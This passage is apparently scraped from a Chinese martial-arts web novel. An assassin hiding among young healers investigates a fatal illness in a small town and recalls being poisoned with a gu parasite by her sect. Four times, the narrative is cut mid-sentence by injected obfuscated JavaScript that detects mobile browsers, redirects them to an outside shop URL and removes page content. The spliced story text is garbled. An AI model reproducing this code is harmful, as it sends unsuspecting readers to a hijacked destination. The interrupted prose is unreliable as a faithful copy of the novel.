组织里的人大部分阴沉乖戾,或是喜怒无常。有些人只是因为心情不好或是寻欢作乐就给某个镇子上的百姓下蛊,以他们痛苦、绝望的表情为乐,等觉得无聊了就把蛊收回去。有时下蛊的人甚至会忘记自己曾下过蛊,常常等镇子上的人都去世了才想起来还有这回事。不过因为他们挑的镇子都规模较小、远离尘世,所以也没引起官府的注意。 这就是衔月阁,一个视人命为草芥的地方。 顾轻行既不想在任务之外的事上浪费时间,也不想坏了阁里某个人的兴致招致事端。 可惜她现在要接近云落英一伙人,为获取他们的信任,不得不做出一副本性热情、为人着想的模样。 她指了指掌柜背后的小女孩,问道:“这是你家孙女吗?” 云落英也对这么小就能看店的小女孩很好奇。 掌柜嗐了一声,看着身后怕人的女孩,面容忧愁:“不是。她母亲早亡,父亲把她和姐姐留在镇子里跟人走了,只剩她们姐妹俩相依为命。她姐姐也算是我看着长大的,白天她要做工赚钱,就把妹妹送到我这儿来代为照看。可惜她这两天也染上了那怪病,也不知能再坚持几日愁人啊!” 她牵住女孩的手,把她带到身前:“小喜,跟姐姐哥哥们问个好。” 小喜怯生生地跟他们打完招呼,就又急匆匆地跑到掌柜身后了。 掌柜解释:“这孩子自小性格内向,害怕见到陌生人,只跟她姐姐亲近。” 顾轻行了然。 她见小喜话虽少,但一双眼睛睁得大大的,水灵灵地望向他们,明显是对他们感到好奇。 但既然小喜不会主动接近她,她也乐得清闲,没兴致去讨她的欢心。 身旁的沈游风听他们说了这么久的话,有些不耐,心思早已飘到了远处。 门外传来稚童打闹的声音,他抬眼看去。 一群人嘻嘻哈哈地说着要去哪里打鸟雀。为首的是个小男孩,身形微胖,手里抓着个弹弓。 医馆正门大敞,他看到躲在掌柜背后的小喜,表情夸张地尖声说道:“看呀,是小哑巴!” 他身后的孩子也跟着他吱哇乱叫。 “小哑巴,不说话!” “喂喂,听说她姐姐最近生了会死的病。” “本来就没爹娘要,现在连你姐姐都不要你了!” 掌柜抓起门口的笤帚,往他们身上呼去:“快滚!一群人没大没小的,下次再这么说话,小心我去找你们爹娘!” 为首的小胖子依旧嘻嘻哈哈,朝她比了个鬼脸,根本没把掌柜的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285918|198436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当回事,甚至举起手里的弹弓,对准小喜,拉紧皮筋。 嗖地一下,一枚小石子直直往医馆射去,直逼小喜的脸颊。 顾轻行往前迈出一步,用手稳稳抓住那枚飞来的石子。 她转头看向小喜。 小喜抓着掌柜的衣袖,把头埋进衣襟里,一言不发。 沈游风被他们的话弄得怒火中烧。 他咬牙切齿地瞪着他们:“这群臭小孩。” 说罢,撸起袖子就要往门外走去。 宋之微虽然面色不显,但眼神十分愤怒。即便如此,他依旧示意沈游风不要直接冲出去。 顾轻行也按住他的肩膀,朝他摇了摇头。 她颠了颠手心里的石子,掂量了一下要用几成力。 接着,以迅雷不及掩耳之势将石子快速地掷向领头的小胖子。 石子势如破竹般划破空气,狠狠地砸在他圆滚滚的肚子上,再在肚子上反弹,掉在地上。 小胖子捂住肚子,向后栽倒在地,发出一声嘹亮的嚎叫。 他身边的孩子手忙脚乱地把他扶起。 他感受着肚子上剧烈的疼痛,原本红润的脸色霎时变得惨白,额上冷汗连连。 “我要告诉我爹娘!你们打我!” 他用最后一点力气吼出这句话,因为太过用力,嗓音都变得嘶哑。 云落英迈出门槛,双手叉腰,挑衅地看着他:“那你就去告呀!” 见那小胖子气急败坏,还想再说点什么。 顾轻行向他投去一瞥冰冷的目光,眼风如刀。 他被顾轻行目如寒霜的眼神吓得不寒而栗,生怕自己再被扔一个石子,赶忙招呼着身后的小孩一起走了。 沈游风被拽住,一腔怒火无处发泄,不爽地说:“你们刚刚干嘛不让我去教训他们?” 云落英指责他:“你傻呀,你下手没轻没重,又怒气上头,直接把那小孩打残了怎么办?” 又说:“像轻行那样,不仅让他吃到了教训,而且就算那小孩的父母找来,也不过就是扔了个石子而已。再说了,他自己都用石子砸人,本就无理。你长这么大了,动动脑子好不好?” 沈游风无言,看着顾轻行淡然的侧脸,暗自懊恼。 宋之微问顾轻行:“你刚刚那招用了几成力?” 顾轻行淡淡地说:“三成吧,至少会让他腹痛两周有余。” 云落英痛快鼓掌:“活该!” 云落英又问掌柜:“那群小孩每天就这么肆无忌惮地口出恶言?没人管管吗?” 掌柜摇了摇头,叹道:“那群人见小喜无父无母,只有一个姐姐,根本不在乎这些,就纵容着他们自家孩子。那群孩子见我年纪大了,有时甚至会连我一起丢石子。更何况这两天小喜她姐病倒在床,更没人替小喜出头,他们就越发肆无忌惮了。” 顾轻行看着躲在掌柜身后的小喜。 女孩身形瘦削,身上的衣服虽用简朴的粗麻制成,但贴身服帖,看得出是有人用心裁剪。 她的瞳仁乌黑发亮,像用泉水浸过一番的黑色琉璃,干净剔透。 小喜抬起那双湿润明亮的眼睛,脸颊红扑扑的,对着她腼腆地笑了。 顾轻行心头一跳。 5. 第 5 章 小喜和姐姐原本姓赵,但自从她们父亲把她们丢在镇上离开后,姐姐就改了自己的姓,逢人就告诉自己和妹妹的名字是崔欢、崔喜。 崔是她们母亲的姓。 正巧医馆掌柜也姓崔,也算是一种缘分。 把那群为非作歹的小孩赶走后,云落英摸摸下巴,问掌柜:“我们能去看看小喜的姐姐吗?” 掌柜点头,答:“当然可以。” 她拍了拍小喜的肩:“小喜,带他们去看你姐姐好不好?” 小喜放下抓着掌柜衣袖的手,又攥紧自己的衣摆,小声应是。 她带着他们走上街市。 依旧是一排两人并肩行走,云落英、宋之微在前,顾轻行、沈游风在后。 一行人沉默不语,在人流中不停穿梭。 虽说竹溪镇最近有人相继染上怪病去世,但毕竟只是小范围的,没有影响大多数人的生活,街上吆喝声叫卖声不断,十分热闹。 “小姐,来看看这些发钗呀,各式各样,总有一款与你相配!” “公子,瞧你身上带着剑,我这儿有新做的剑穗,来瞧瞧有没有你喜欢的呀!” 沈游风左看看右看看,有点心痒。 但见小喜一人在前面埋头直走,其他几人也目不斜视不做声,他只能老老实实跟紧队伍。 顾轻行瞥见沈游风又兀自一人生闷气,淡淡地说了一句:“现在还早,等我们看完小喜她姐姐再来逛摊子也不迟。” 沈游风没想到顾轻行居然注意了他的情绪,心里的郁闷就像被清风吹拂,一瞬间消失殆尽。 前面的云落英和宋之微虽然没看到他的表情,但也熟悉他的性子,顺着顾轻行的话往下说。 “对哎,我刚刚听那婶子说有发簪,等会儿回来了我想去看看。” 宋之微也笑道:“嗯,肯定有适合你的发簪。” 领头的小喜听到他们的话,脚步微微放缓,转头看向摆着一排排簪子的小摊。 镶嵌着玉石的簪子在阳光的照射下散出碎光,小喜睁大双眼,水灵灵的眸子划过一丝羡慕。 越过人群,拐进一条小巷,再转几个弯,环境逐渐变得安静寂寥,原先嘈杂的吆喝声已然落在耳后。 砖墙下杂草丛生,苔藓在墙壁上蔓延。 几人最终停在一座矮小的屋舍门口。 木门虚掩着,小喜开门进去直奔屋内。 顾轻行等人在门口等了一会儿,观察了一下屋内环境,才对视一眼迈步进去。 屋舍狭小,除了简陋的门厅、柴房外,只有一间卧室,供姐妹二人休憩。 此时崔欢正躺在床上,身上盖着厚厚的棉被,脸颊通红,但是眼神依旧清明。 小喜则趴在床边,紧紧抓着棉被,盯着姐姐看。 崔欢看着四人走进,用手臂撑住身子,想从床上坐起。 云落英见了,赶忙上前制止,扶着她缓缓躺下,又掖紧被子,只余一只手在外。 这只手之间发白起皱,手背上还有冬天受冻留下的冻疮。长期的劳作在她的手指上留下老茧,指头也有曾经被针扎过落下的痕迹。 崔欢今年刚满十八,为了养活自己与妹妹做过许多帮工。不仅在餐馆后厨洗碗打杂,也在寒冬腊月里,将手浸在刺骨的冷水中,靠帮人浣衣挣钱。晚上回到家中,在微弱的烛火之下缝补衣服,绣制荷包,以此再多赚取一些微薄收入。这几年下来,也算是把妹妹仔仔细细地拉扯长大。 明明已经做了这么多,眼见着妹妹渐渐懂事,从小豆丁长成现在这副模样,她却骤然染上怪病,最多只能再活两周。 每每想到此事,她的心中就痛苦难耐,看向云落英等人的眼中也充满了哀伤。 云落英坐在床边,将手搁在崔欢伸出的那只手腕,眉心紧攒。 她仔细感受手腕处轻轻跳动的脉搏,接着放下那只手,起身用手背触碰崔欢的额头、脸颊、脖颈等处,最后拨开崔欢的眼皮细细查看。 做完这些后,她朝着崔欢微微摇头,又面色忧愁地看向顾轻行等人,满脸不解。 崔欢见她这番动作,眼中最后一抹希冀也消失殆尽,一滴泪从眼角缓缓滑过。 云落英不忍心,低声说了句“抱歉”,便带着其余三人离开屋舍,让小喜和她姐姐单独相处。 回到巷中,云落英回想刚刚感受到的症状,愈发不解:“这不正常。” “怎么?”宋之微垂眸问她。 “除了身体灼热外,脉搏平稳,眼神清明,气息正常,分明就只是单纯的发热,甚至比寻常发热还要健康,这怎么可能?” 这很正常。 顾轻行心想。 蛊虫最致命的就是杀人于无形。若是对蛊虫毫无了解的普通人,怕是连自己怎么死的都不知道。 只不过顾轻行有点好奇,像云家这样庞大的医学世家,会对蛊虫之术毫无涉猎吗? 顾轻行看着云落英绞尽脑汁努力思考却一无所获的痛苦模样,又想起她连续两次继承人考核未过的记录。 罢了,或许只是她学艺不精。 思及此,顾轻行忍不住轻轻摇头。 哎......一群蠢货。 就这点能耐还想留下来治病救人,不如早早放弃打道回府,也好让她早点完成任务。 “你也摇头干嘛?有想法?”沈游风看见顾轻行的动作,好奇问。 顾轻行又摇头,轻声叹道:“我只是不忍心见小喜和她姐姐即将天各一方。” 沈游风虽然也不忍见姐妹二人生死相隔,但他对医术一窍不通,现下也只能干着急。 宋之微同样如此,他虽自幼体弱,却也没有久病成医的本领,而且就连云落英这个学了十几年医的人都毫无头绪,他们又能提供什么帮助? 一时之间,几人都默契地保持沉默,士气萎靡不振。 “干嘛呀,干嘛呀!别说这种丧气话!”云落英见三人皆是一副此事无力回天的丧气样,咬紧下唇,急得直跳脚。 她声音清亮,言语恳切:“我母亲自幼就教导我,这天下从没有所谓的不治之症!若是遇到困难,那一定是我们行医者不够耐心细致,漏掉了某个关键的细节。” “落英说得对,我们不能就这样妄下定论,”宋之微说道,“镇上应该还有其他患病的居民,我们可以挨个去拜访一下。” “没错!”云落英重重点头。 接着,她话锋一转:“不过你们陪我去也没什么用,还是我一个人去吧,不然太浪费你们的时间了。” 宋之微摇头:“母亲让我与你同行就是为了保障你的安全。你一个人去,我不放心。虽说我剑使得不好,但关键时刻也能拿出来唬人。” 见他如此,云落英也没拒绝。 她转身看向顾轻行,表情愧疚:“抱歉啊,轻行姑娘。我一时忘记你身上有伤,还让你出来跟我们跑一趟,应该让你留在客栈好好休息的。” 顾轻行礼节性笑道:“无事,云姑娘不必为此时挂怀,我清楚自己的伤。昨晚睡了一觉后已经好了许多。若是身子不适,我不会强撑着与大家同行。不过我确实帮不上忙,就不打扰云姑娘办事了。” 云落英松口气,眼神瞥向吊儿郎当站着的沈游风,不客气地说:“至于你,想你也不乐意做这些事,就哪边凉快哪边呆着去吧。” 沈游风飞快地瞥顾轻行一眼,生怕自己随意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285919|198436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被人诬陷,着急忙慌地辩解:“什么叫我不乐意?我那时有自知之明好不好!算了,反正你有宋之微陪着,我就不去打扰你们二位了。” 正巧这时小喜从屋内开门出来。 她默默地走出院门,将门仔细关好、上锁,几乎没发出半点声音。 “你不再跟你姐姐多待会儿吗?”顾轻行问她。 小喜摇摇头,“姐姐让我去跟着崔奶奶,等晚上该吃饭了再回来。” 说罢,她又一人独自走在四人前面,带着他们走出小巷。 正值中午饭点,街上有人在卖包子,肉香四溢,直往人鼻子里钻。 治病救人本就是件耗费心神的事,云落英早上急着出门,也没吃多少饭,现在饿得肚子咕噜咕噜直响。 她向摊主要了几个,问大家吃不吃。 顾轻行有点饿,从她手里拿了一个。 宋之微也拿了一个。 沈游风早上吃了包子,并不想中午再继续吃,摇头拒绝。 剩下的包子摊在油纸里。云落英用双手捧住油纸袋,蹲下身来把包子往小喜眼前一送,眉眼弯弯,问她要不要吃。 小喜咽了咽口水,眼睛都离不开包子了,但还是轻轻摇头。 云落英:“欸,可是我好像吃不完这么多包子,还是分你一个吧!” 说完也不管小喜什么反应,就把包子往她嘴里塞。 小喜下意识咬住包子,回过神来才用手抓着包子慢慢咀嚼,小声向云落英道谢。 云落英摸摸她的头:“好啦好啦,你还是长身体的年纪,多吃点!” 她快速啃完一个包子,又跑到上午朝他们吆喝的大婶处,招呼他们一起过来看。 各式各样的簪子摆放在摊位上,云落英拿起一根木簪,把它放在宋之微头发处眯眼打量,然后一脸惊喜地说:“之微哥!这个看上去挺适合你的。” 宋之微笑而不语,把她的手从额边抓下,和她一起看其他簪子。 顾轻行对这种中看不中用的簪子不感兴趣,正巧这位摊主还卖荷包,她就随手抓了一个荷包放在手里掂量。 这荷包针脚细密,绣工精致,可惜顾轻行对这个也不感兴趣,正准备放下。 旁边的沈游风探头看过来。 “你喜欢这个?要买吗?”他见顾轻行手上拿着荷包,问她。 顾轻行摇头:“我现下身无分文,衣食住行全靠各位,自然是不买的。” 还没等沈游风脱口而出那句“我有钱我给你买啊”,摆摊的大婶就插话道:“哎呀,竟是这个荷包。” 她弯下腰凑近顾轻行和沈游风,觑一眼小喜,压低声音:“这荷包是小喜她姐阿欢绣的,绣工精致,价格公道,各位买下自然是不亏的。” 听她这话,顾轻行无意识攥紧手中荷包,皱眉:“她绣的荷包,怎么会在你这儿?” 摆摊大婶连忙摆手:“阿欢这些日子卧病在床,便托我替她卖这荷包,这赚的钱我当然是要给她的。” 她又看小喜一眼,小声说:“毕竟这还有个妹妹呢,也不知道阿欢走后小喜这孩子怎么办。哎......真可怜。” 顾轻行看向小喜。 自她吃完云落英给的包子后,就一直低头不语。 现下他们在挑簪子和荷包,她也不抬头看一眼,仿佛对这些都不感兴趣,只是默默地在旁边等着。 若不是顾轻行感觉敏锐,知道她会偷偷抬头瞥一眼那亮晶晶的簪子,还真以为她不在意这些。 她听着大婶说的话,看着小喜瘦弱的身躯,脑海中浮现出小喜日后一人孤苦伶仃生活的画面。 顾轻行突然想起,她曾经好像也是这般模样。 6. 第 6 章 顾轻行有过一个姐姐。 姐姐只比她大六岁。现在想想,当初在她眼中博学多识、善解人意的姐姐,也不过就是一个十二岁的孩子。 作为家中幺女,顾轻行也曾有一段无忧无虑的时光。 父母育有两女,感情良好,家中一切事物也都被打理得井井有条。 姐姐是家中长女,知书达理、温婉大方。或许是因为自出生起就担上了继承家业的责任,顾轻行每每去找她玩,总是会以姐姐正在念书为由被嬷嬷拉走。 可是她还是忍不住地亲近姐姐,被赶走后自己一个人偷偷来到姐姐念书的窗边,趴在窗沿看着姐姐认真的侧脸。 姐姐看见她来,会不动声色地把书举起,挡住自己的脸,然后温柔地朝她一笑,悄悄把手伸到窗外,摸摸她的头,再递给她一块蜜饯。 顾轻行喜欢姐姐摸她的头,也喜欢姐姐递给她的蜜饯。 不知为何,明明都是一样的蜜饯,姐姐给她的总是比别处拿到的更甜、更好吃。 过去的日子太过美好,以至于顾轻行一直不敢相信他们的生活会在某一天急转直下。 姐姐骤然染上怪病,父母为了给姐姐治病,四处求医,短短数月就憔悴不少。 当时的顾轻行对这些事并不清楚,她只知道姐姐不再需要忙于课业,有更多时间陪在她身边。 她很开心,日日都去找姐姐。 虽然姐姐不能下床,但会给她念书,教她作画,用柔软的手抚摸她的头发、脸颊。 直到有天,姐姐突然对她说想吃城南糖水铺卖的蜜饯果子,让她去给她买来。 这是姐姐第一次让她办事,顾轻行特别高兴地答应,带上侍女出府直奔糖水铺。回来的路上也一直在想姐姐会怎样夸她,会不会说她做得好?说她是世上最好的妹妹? 如果她这样说,顾轻行就会回她:“姐姐也是世上最好的姐姐!” 可是等她拿着蜜饯赶回家中,等待她的却是姐姐冰冷的尸体。 她的面容依旧恬静淡然,仿佛只是睡着了,可是身体却一点温度都没有。 顾轻行一开始还没发现,想要把姐姐喊醒,可是姐姐一点反应都没有。还是旁边的侍女上手碰了一下,才面色惊恐地出去叫人。 顾轻行还没清醒地认识到姐姐去世这个事实,又传来了父母路遇山洪,马车坠下山崖尸骨无存的噩耗。 原本温馨的家庭骤然破碎,宅中仆人纷纷散去,只有亲近的嬷嬷侍女留在了她的身边。 尚且懵懂的她还不知道离别究竟意味着什么,只是隐隐约约意识到自己可能再也见不到母亲、父亲和姐姐了。 浑浑噩噩地度过几日,一个带着面具的男人来到她家,自称是母亲旧友,让她跟他走,以后由他来照顾她。 嬷嬷见那人容貌不清、举止诡异,劝她不要跟那个人走。 可是那个人对她说:“你父母和姐姐都是被你害死的,你想不想复仇?” 顾轻行记不清她那时的具体想法了,只是隐隐约约地觉得自己的胸口痛得难受,呼吸不畅,只有靠近那人时才能舒缓片刻。 所以她跟着那个人走了。 后来,她才模模糊糊地懂得,原来当初的那种感觉是愤怒,是恨意,也是悲伤。 顾轻行不敢断言说自己幸运还是不幸。 虽然在衔月阁的日子并不好受,人人都要经历严苛残酷的训练,经过重重考核才能在其中站稳脚跟。但她至少不用在尘世中漂泊,有一个能容纳自己的安身之所。 即便换来这一切的是血的代价,顾轻行依旧觉得这些都不算什么。 可惜的是,她再也想不起姐姐的模样了,连同她们共同的记忆也消失在漫长的时间长河之中,如流水般逝去。 仔细算算,距离当年已经过去了十年。 在衔月阁的这些年,她学会的第一件事就是要控制自己的感情。 她要恨,因为这样才有向上的动力。可她又不能太恨,因为身为杀手最重要的是冷静果决,不能受私人情感的影响。 久而久之,她变得冷漠、不近人情。 这些年过去,顾轻行都不知道自己在恨谁,甚至不知自己为何要恨。童年的那些事变成了她过去的一个印记,在现在的她心里掀不起丝毫波澜。 直到今天,她好像又想起了过去那个弱小、茫然的自己。 下午,云落英和宋之微探访镇子上其他患病的人家。 顾轻行明明身上还带着伤,也不知道跑去哪儿了。 沈游风无所事事,一个人在镇上找了家茶馆,拿了个话本子在那儿看。 刚看到话本的关键部分,就听门口掀起一阵喧闹。 “顾少侠,顾少侠,就是这儿。”茶馆掌柜一脸高兴地将顾轻行迎了进来。 “我这房梁今日来有些不稳,恰巧镇上修梁的工匠外出有事,我这几天心里实在不安,生怕屋顶塌了下来。现下有您能帮我实在是太感谢了!事成之后,给您一百文作为报酬,可好?” 沈游风敏锐的捕捉到“顾少侠”三字,立马就看向门头。 只见身着朴素黑衣的侠客径直走进茶馆,将腰上佩剑随手放在桌子上,三两下就轻轻松松跳上房梁,观察一番后又从房梁跳下。 衣袂翩飞,足尖轻巧点地,没发出一丝声响。 沈游风看得目瞪口呆。 他顾不上手上的话本,走到顾轻行身边:“你疯啦?你身上不是还有伤吗?怎么还飞来飞去的!” 顾轻行感到莫名:“跟你有何关系?我的身体我自己心里有数。” 沈游风气不打一处来,憋得满脸通红,也没说出一句“我只是关心你”,最终还是哼了一声没再多说。 顾轻行不管他,转头对掌柜说:“没什么大碍,只是连接处有些松散,加固一下就可以了。” 说罢,转身拿好工具,又飞上房梁。大概过了半炷香的时间,就下来对掌柜说弄好了。 掌柜乐呵呵地直点头,给顾轻行拿了一百文。 顾轻行把钱收好,抬腿打算离开茶馆。 沈游风这下是彻底把话本抛诸脑后了,追上她的脚步,问她去哪儿。 顾轻行拿出手里的铜钱,仔细点算,顺嘴回他:“去买簪子。” 沈游风纳闷:“买簪子?你刚刚怎么不说,这里簪子没有几两钱,直接给你买了便是。” 顾轻行把清点好的铜钱放进衣带:“花你们的钱,总是感觉良心不安。况且我既能自己赚钱,为何不为?而且,这簪子不是给我买的。” 沈游风:“不是给你?那是给谁?” 顾轻行:“小喜。” 沈游风惊道:“她想要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285920|198436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个?我见她在摊子那儿连头都不抬一下,还以为她对这些不感兴趣。” 顾轻行没理会他这些胡言乱语,径直往前走。 他在她耳边叽叽喳喳:“没想到你为人竟如此细腻,居然看出了这些。” “我下次也要仔细观察,说不能看出什么暗藏深处的秘密。” “你刚刚使得轻功真厉害!根本看不出你身上有伤。” 顾轻行只觉得他既吵闹又愚笨。 不过最后一句话她还是非常受用的。 她的轻功在阁内也算是数一数二,这点算他有点眼光。 买簪子的大婶见他们过来,十分热情。 顾轻行指着一只在夕阳下闪闪发光的簪子,问她多少钱。 “这个呀,三百文。” 顾轻行从兜里掏出钱,把簪子拿到手中。 沈游风只知道她刚刚从茶馆那儿赚了一百文,“你还去帮别人做事了?” “嗯,帮他们跑跑腿、修东西之类的。” 沈游风震惊了,他是真没想到一个受了伤的人还能这么折腾自己。 顾轻行倒是觉得没什么。 她当初在组织里接受训练的时候,就算受了很严重的伤也要咬牙坚持每日的基本训练。 更何况是这种她自己搞出来的伤。 这点小疼痛,她早就习惯了。 不过既然沈游风这么关心她的伤口,她也不妨顺势而为。 顾轻行把手轻轻放在腹部,“好像是有点疼。” 沈游风果然信了。 “下次你就跟我们直说嘛!不过就是个簪子,有什么不能买的。” 他又看了眼顾轻行手上拿着的簪子,在小喜眼里或许美丽,但在他眼里只是几颗劣质的珠子。 “你现在就要去给她吗?”沈游风问。 顾轻行看着赤红色的晚霞,摇摇头,收起发簪。 远处的人家冒出丝丝缕缕的炊烟,街边的小摊贩们也都开始收摊,准备回家用饭。 于是二人结伴回到客栈。 两人刚落座,云落英和宋之微就一脸凝重地从外头回来。 云落英一坐下就给自己倒了满满一杯茶水,火急火燎地喝完后才说道:“不对劲,太不对劲了。” “这些人身上竟没有一点问题,这简直是天方夜谭!” 宋之微也坐下,点好菜后给每个人都倒了杯茶。 沈游风拿起茶杯慢慢喝水,问云落英:“难道不是因为你医术太烂,看不出来?” 云落英瞪他一眼:“你懂什么!” “我上次可是听你姨母说你两次考核都没过,催着你回去参加最后一次考核呢。” “你、你不许瞎说!我自有打算!” 沈游风还想回嘴,被宋之微打断。 “好了好了,现在不是争这些的时候。”宋之微见他们又要吵闹,习惯地充当起和事佬。 “我有个疑问,镇上这些人,会不会是有传染性的?我们在这镇上呆太久了会不会也染上这种病?” 恰逢一阵冷风从门口吹进。 云落英哆嗦了一下,也不知是冻得还是被吓得。 她搂紧双臂,“之微哥,你别这样说,怪吓人的。” 顾轻行见他们讨论得热火朝天,一言不发,只是端起茶杯默默喝茶。 7. 第 7 章 第二天一早,云落英和宋之微继续去拜访镇上患病的人家。 虽然昨日宋之微的疑惑让云落英心里有些发慌,但她还是挥挥手否定了他的说法。 “那种传染性的疾病,一般都范围广、速度快。自这病在镇子上出现,已过去一月有余,也不过十余人得病,可见传染的概率很小。” “况且,我们学医之人早就看淡了生死。我家中因治病去世的人数以百计,这可是荣誉!” “就算我们如此不幸地染上了病,大不了我们快马加鞭赶回家,让母亲帮我们治病,这世上可还没有我母亲治不好的病!” 云落英拍着胸脯如是说。 宋之微轻轻点头,沈游风则是一脸无语。 宋之微不必多说,云落英去哪儿他去哪儿。 沈游风比较惜命,加之他一向运气不好,不想平白无故地患病,就说自己想呆在客栈休息。 自昨日开始,顾轻行就觉得自己的心脏处隐隐抽痛,也借口说自己身上伤口不适,就留在客栈不外出了。 果然,等云落英出门后没过多久,客栈房间的窗边就飞来一只通身发黑的信鸽。 它脖子上用红绳挂着一个雪白的瓷瓶,十分醒目。 顾轻行把瓷瓶取下,打开瓶塞清点里面丹药的数目,顺便再从中取出一颗顺着水服下。 大约是三个月的量。 感受着喉中滑过的热流,顾轻行心想。 丹药苦涩的气味在嘴里蔓延,顾轻行给自己多倒了几杯水。 现在可没人会在她吃完药后递给她一块蜜饯。 这样想着,思绪又不觉飘远。 顾轻行还记得她初到衔月阁时的情形。 四下一片黑暗,只有几盏闪着幽幽暗光的灯盏摆放在房间口和楼梯拐角处。 那人将她带进一间房间。 顾轻行一进去就被满室的蝎子、毒蛇以及各式各样的蛊虫吓得面色苍白。 她有些后悔,觉得自己太过鲁莽。可是看着那人诡谲的双眼和满室的虫子,她又不敢说自己想要离开。 那人让她随便挑一把椅子坐下。 她选了离那些虫子最远的一把,战战兢兢地坐下。 那人见她的动作,哈哈大笑起来。 一把把顾轻行拎起,放到离蛊虫最近的地方。 顾轻行看着那些虫子蠕动的触须,头皮发麻,双腿发软。 “害怕?”他笑道。 顾轻行不敢多说,只是快速地上下点头。 “多见几次就不会害怕了。”他从池子里随手抓出一只蛊虫,捏着它的尾巴,摆在顾轻行眼前。 那只虫几乎就在顾轻行的鼻尖。 那是一只纯黑的蛊虫,身体分成五节,因为被倒着捏住尾巴,身体在空中努力地扭曲,一颤一颤。 顾轻行甚至能感受到那只虫身上细密的绒毛,因为她的鼻尖止不住地犯痒。 好在,那人很快就把手收回,把虫子随手往池子里一扔。 顾轻行这才放松身体,用鼻子畅快地呼吸。 “想留下来吗?”那人暗沉无光的双眼直直盯着顾轻行看,和刚刚那只虫子的眼睛几乎一模一样。 顾轻行犹豫一瞬,还是听从本心地摇头。 “哈哈哈哈......!”那人猛然发出尖刻的笑声,甚至用手抹了抹面具,像是要擦掉眼角笑出的泪。 接着,他的声音骤然低沉:“想不想离开,这可不是你说了算。” 顾轻行觉得他疯了。 直到此刻,她才后知后觉地意识到自己好像受到了蒙骗。 她的声音颤抖:“你说......你要带我复仇。” 他哼笑一声:“你以为复仇是没有代价的?” 顾轻行茫然摇头。 还没等她反应过来,她的食指指尖骤然一痛,鲜红的血液从她指尖渗出。 “好痛!”顾轻行眉毛拧紧,痛呼。 那人不管,从桌上拿了个瓷瓶,捏着她的指尖往里挤血。 顾轻行想挣扎,却根本脱不开那人苍白的手。 一滴、一滴。 明明扎的口子很小,可指尖传来的疼痛却格外清晰,细细密密折磨着她,像是某种酷刑。 顾轻行差点要叫出声,可那人只是冷冷瞥她一眼,她硬生生把到嘴边的痛呼吞了下去。 过了一会儿,瓷瓶中的血过半,那人才松开顾轻行的指尖。 他满意地摇了摇瓷瓶,给顾轻行丢来一个黑色的丸子,“不要嚼,吃下去。” “这是什么?”她问。 “对你身体好的。” 顾轻行看着手中黑漆漆的药丸,心里有种不好的预感. 她闻了闻药丸,什么味道都没有。 最后,她咽了咽口水,眼睛一闭,直接将其吞下。 直到半个月后,她的心突然一阵阵地抽痛,整个人面色苍白地蜷缩在床上,那人才姗姗来迟,扔给她一颗药丸。 顾轻行这次闻到了药丸上散发出的淡淡草药味。 她就着冷水服下,不出半炷香,身体就好转许多,呼吸也通顺起来。 这时她已猜到半个月前吃下的那颗黑色药丸定不是什么对她好的东西。 她抿了抿唇,还是问他:“你给我吃了什么?” “还记得你看到的那只黑色小虫吗?”那人坐在她床边,看着她喝水服药,含笑问她。 顾轻行木然点头。 “现在你体内,就有跟它差不多的一只虫子,就在这里。”那人起身,隔着被子点了点她心口的位置。 顿时,一股难以言表的恶心之感从腹部蔓延到喉头。 顾轻行从床上爬起,捂住胸口,对着床下干呕。 她想回家,想见嬷嬷,她不想复仇了。 “记住,每半个月你就要服一次解药,若是不服,就会像你今日这般难受。至于怎么获得解药,那就要看你自己的本事了。” “不要妄想向外求助,除了衔月阁,没人知道怎么解毒。” “只有这样,你才能真正成为衔月阁的一员。” 那人欣赏完她苍白的脸色,留下这段话,从她的房间离开。 回到现在,顾轻行面无表情地转动手中瓷瓶。 往事如烟,过往已成定局无法改变,更应抓住当下每一次机会。 她用拇指抚弄着瓶口木塞,攥紧瓷瓶。 这时,客栈房门突然传来一阵笃笃敲门声。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285921|198436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这个点会来找她的也只有沈游风了。 顾轻行把瓷瓶收好,给他开门。 